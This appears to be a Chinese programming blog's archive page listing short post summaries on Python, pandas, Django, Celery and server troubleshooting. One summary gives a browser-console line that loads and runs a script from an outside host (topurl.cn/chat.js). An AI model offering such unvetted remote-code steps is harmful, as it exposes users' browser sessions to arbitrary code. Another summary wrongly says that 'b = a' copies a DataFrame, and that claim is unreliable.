11 2023 档案
摘要:一、单下划线 1.命名约定。在Python中,单下划线作为命名约定,用于表示某个变量、方法或属性是内部使用的或具有特定含义,但不希望在外部直接访问。 2.临时变量。在一些情况下,我们可能只需要临时使用某个变量,而不关心它的具体值。此时,可以使用单下划线作为变量名,表示它是一个无关紧要的临时变量。 3
阅读全文
摘要:在Python中,__new__方法是一个魔法方法,用于在创建新实例之前控制对象的创建。它是构造器方法__init__之前被调用的。__new__方法通常用于控制实例的创建,可以返回实例本身或者一个完全不同的对象。 __new__ 方法使用 类名() 创建对象时,Python 的解释器 首先 会 调
阅读全文
摘要:a = [{'name': 'b', 'age': 11}, {'name': 'c', 'age': 10}, {'name': 'a', 'age': 12}] e = {'name': 22, 'age': 12, 'bbb': 23} b = sorted(a, key=lambda d:
阅读全文
摘要:当使用pandas处理大规模数据时,内存使用量可能会迅速增加,导致服务器宕机。为了解决这个问题,可以采用以下几个优化方法: 数据类型优化: 使用更小的数据类型,例如将int64转换为int32或int16,节省内存空间。 对于字符串类型,尽量使用'category'类型,它会使用更少的内存。 分块处
阅读全文
摘要:Python 是一种解释型语言,它的执行效率通常比编译型语言低,这主要有以下几个原因: 解释型语言的性质:Python 是解释型语言,这意味着它在运行时需要解释器来逐行翻译并执行代码。这个过程中,相对于编译型语言(如 C++ 或 Java),会产生额外的性能开销。 动态类型:Python 是动态类型
阅读全文
摘要:# 随机位置随机颜色的点 <script> setInterval(function() { var dot = document.createElement("div"); dot.style.position = "fixed"; dot.style.top = Math.random() *
阅读全文
摘要:现象:创建了一个shell脚本任务,使用crontab进行任务调度,其中hive执行为: hive -f /opt/test.sql > /opt/test.log 2>&1 任务调度起来后一直报错提示: /usr/bin/hive:行3: /parcels/sbin/configure.sh: 没
阅读全文
摘要:import json import requests headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.30
阅读全文
摘要:提示[tips]仅适用于2018-01-01以后的中国节假日查询, 包含法定节假日及周末 安装[install]pip install holiday-chn 使用[use]import holiday_chn 判断传入日期是否为节假日[Determine whether the incoming
阅读全文
摘要:说明[tips] 提供mysql数据库的分区表最新分区查询,支持分区字段为DATE或TO_DAYS(date_str)类型的数据表新建分区,依赖库包括:"pandas", "pymysql", "sqlalchemy". [Provide the latest partition query for
阅读全文
摘要:<script type="text/javascript" src="//rf.revolvermaps.com/0/0/6.js?i=5xogd34ja9n&m=7&c=ff0000&cr1=ffffff&f=arial&l=0&bv=100&lx=660&ly=440" async="asyn
阅读全文
摘要:Celery是一个基于分布式消息传递的异步任务队列/作业队列,专注于实时处理,同时也支持任务调度。Celery的架构由三部分组成:消息中间件(broker)、任务执行单元(worker)和结果存储(backend)。 消息中间件:Celery本身不提供消息中间件,而是依赖于第三方提供的消息中间件来进
阅读全文
摘要:Django ORM的映射机制是指将Python的模型类与数据库表之间建立一种对应关系。这种映射关系允许开发者使用Python代码对数据库进行操作,而不需要直接编写SQL语句。Django ORM的映射机制包括以下几个关键部分: 模型类的定义:在Django中,开发者通过定义模型类来描述数据库表的结
阅读全文
摘要:状态:Python处理大数据时,内存占用超过服务器可用内存,但是服务器并没有杀死该进程,而是被卡死无法通过ssh进入 解决方向: 一、设置系统内存限制: 使用 ulimit -a 查看系统参数 ulimit -a 命令的结果中会显示各种资源的限制参数。以下是一些常见参数及其含义: core file
阅读全文
摘要:打开谷歌浏览器控制台,输入并回车: var s=document.createElement('script'); s.src='https://topurl.cn/chat.js'; document.body.append(s);
阅读全文
摘要:安装库: pip install setuptools wheel 1.目录结构 -test_package --src --test_package -- __init__.py --function.py --pyproject.toml --readme.md 2.文件说明 pyproject
阅读全文
摘要:https://www.neatdownloadmanager.com/index.php/en/
阅读全文
摘要:1.数据库迁移 2.创建超级用户 3.去数据库修改超级用户的id为100001,后续新增的用户就会自增1
阅读全文
摘要:SELECT COLUMN_NAME, COLUMN_COMMENT FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA = 'database' -- 替换为你的数据库名称 AND TABLE_NAME = 'table_name'; -- 替换为
阅读全文
摘要:在Python的pandas库中,DataFrame对象的赋值操作默认会返回一个新的对象,而不是原始对象的引用。因此,当你执行b = a时,b实际上是a的一个新的副本,而不是指向同一对象的引用。所以,当你修改b时,它不应该影响a。 但如果你在某些情况下发现修改b会影响到a,那很可能是因为你在操作Da
阅读全文